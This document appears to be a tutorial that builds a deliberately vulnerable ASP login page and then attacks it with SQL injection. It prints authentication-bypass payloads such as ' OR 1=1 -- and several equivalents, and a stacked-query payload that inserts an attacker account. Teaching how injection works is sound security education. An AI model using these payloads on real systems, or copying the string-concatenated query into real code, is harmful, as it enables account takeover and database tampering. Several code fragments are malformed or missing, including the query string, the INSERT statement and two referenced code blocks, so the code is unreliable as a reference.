If the user input that goes directly into the database is malicious, then the database is going to reply back with an error page returning valuable information on about what went wrong with the SQL query (e.g. data type mismatch e.t.c)

How to write insecure login pages

Since we explained what is forwarded directly from my Internet browser to my database we can start talking about how an insecure login page can be written.The html form used to write the exploitable code looks like something like that.

Code 2

Code examples1: Html form code.

The ASP (Active Server Page) code is placed right above the html form , and because the ASP code page is executed from top to bottom, the ASP code will always execute first and then the html code will execute right afterwards. Now every time my browser submits data the login page is executed.The code displayed below is actually implementing a poor authentication mechanism. My code takes a user input from the html form (meaning userName and password), and feeds them right into the SQL query.

Code 3

Code examples2: Authentication code.

First I define the values that I am going to hold the username and the password.Then I define the very famous database connection string.

sql ="SELECT userName,passwords  FROM users WHERE userName='" _

"myuserName"'""   AND passwords='"mypassword"'"

Code examples3: Creating the SQL query string.

The code above issues a Recordset Object. An ADO (ADO stands for ActiveX Data Objects).A Recordset object is used to hold a set of records from a database table. A Recordset object consist of records and columns (fields).In ADO, this object is the most important and the one used most often to manipulate data from a database [1].

Set rs=Server.CreateObject("ADODB.recordset")

Code examples4: Creating an ADO object.

When you first open a Recordset, the current record pointer will point to the first record and EOF property is set to False. If there are no records, EOF property is True. The EOF property returns True (-1) if the current record position is after the last recording the Recordset, otherwise it returns False (0) [1].

In the if statement we check the Recordset to see if it is empty. If the Record set is empty then the EOF property will return True, so I reverse the true value putting in front a not operator! Now if the EOF property is empty it will be reversed and return a False value, and the server is going to print back the word Wrong (meaning that the database didn’t return a positive reply), otherwise it would print back the word Correct (meaning that the database did return a positive reply). By saying that the database returns a positive value I mean a non empty Recordset!!! The mistake here is that I let practically the database to validate my web user, without using a proper authentication mechanism.

The SQL injection attack

The only thing left to do is to exploit the code I wrote above, by finding a way to login without knowing the user name or the password. Because I wrote the code I know that my web page is vulnerable to SQL query injection and I also know what database engine is used and I also know the name of table containing the user names and passwords.

The SQL query forwarded to the database is:

SELECT userName,passwords FROM users WHERE userName='User Input' AND passwords='User Input'

Because I know that the database engine I am using is an MS SQL Server Desktop Engine 2000 I know that the commenting is made with a double minus, like –. So I want an SQL query that is going to return me an ADO Recordset object with its EOF property set to False (meaning an none empty ADO Recordset) without knowing any user name or password!

Step1:The malicious SQL query forwarded to the database is:

SELECT userName,passwords
FROM users
WHERE userName='User Input' OR 1=1 --
AND passwords='User Input'

Step2:Which translates into:

SELECT userName,passwords
FROM users
WHERE userName='' OR 1=1

Step3:Which is equivalent to :

SELECT userName,passwords
FROM users
WHERE userName='' OR 1=1

Code examples5: How SQL queries are translated by the database engine.


By commenting out the part of the SQL query that contains the AND section and adding an OR SQL operator we achieved to create an SQL query that is going to return an none empty ADO Recordset. Because the statement 1=1 is always going to be true, even with an empty user name. The single quote characters are used to tell to the SQL interpreter that the data type entered by the users is a varchar(10). The single quote character is meaningful only to the SQL engine. If the database is searching each table from top to bottom then the malicious attacker is going to log you as the first user it going to find out. Meaning the session id is going to belong to first user written into the database!!!!

Exploiting the SQL injection

I am clarifying that in order to perform a successful login you have to find the proper SQL query pattern. In the above example I found the web application is vulnerable to ‘ OR1=1 –, or even better is vulnerable to:

‘ OR mathematical expressions that is always true –

Code examples6: How SQL queries are translated by the database engine.

Based on the above assumption we can assume that more than one SQL query can be found having the same effect, as the one we used such as:

SELECT userName,passwords
FROM users
WHERE userName='' OR 'a'='a' --
SELECT userName,passwords
FROM users
WHERE userName='' OR 2=2 --
SELECT userName,passwords
FROM users
WHERE userName='' OR 0=0 --

Code examples7: Equivalent SQL queries.

Knowing that, we can understand that all queries listed above are going to allow as to login.But besides the fact that we are going to have a successful login what else is that we can to? Well the possibilities are limitless, because only are imagination can restrict us.Important notice this attack wont work on MS Access because , it does not support double dash comments, instead you can use the NULL type to comment out the query usingthe specialcharacters %00 [2].

Now since we have found an SQL query that my Web application is vulnerable we can make alterations and start trying to compromise the database integrity by inserting one more user name and password. How? Simply type into user name login html text box both queries sequentially!!!!!!!!!!!!!!!!

The SQL query pattern we are going to use is:

Use SQL pattern (insert as one line without enter):

' OR 1=1 INSERT INTO users userName VALUES ('hackedyou','hackpass') --

Which is forwarded from the web application to the database as:

SELECT userName,passwords
FROM users
WHERE userName=OR 1=1
INSERT INTO users userName passwords VALUES ('hackedyou','hackpass')

Code examples8: Exploiting the login page.

Reference [1]: http://www.w3schools.com/ado/ado_ref_recordset.asp

Reference:http[2]:www.webapptest.org/ms-access-sql-injection-cheat-sheet-EN.html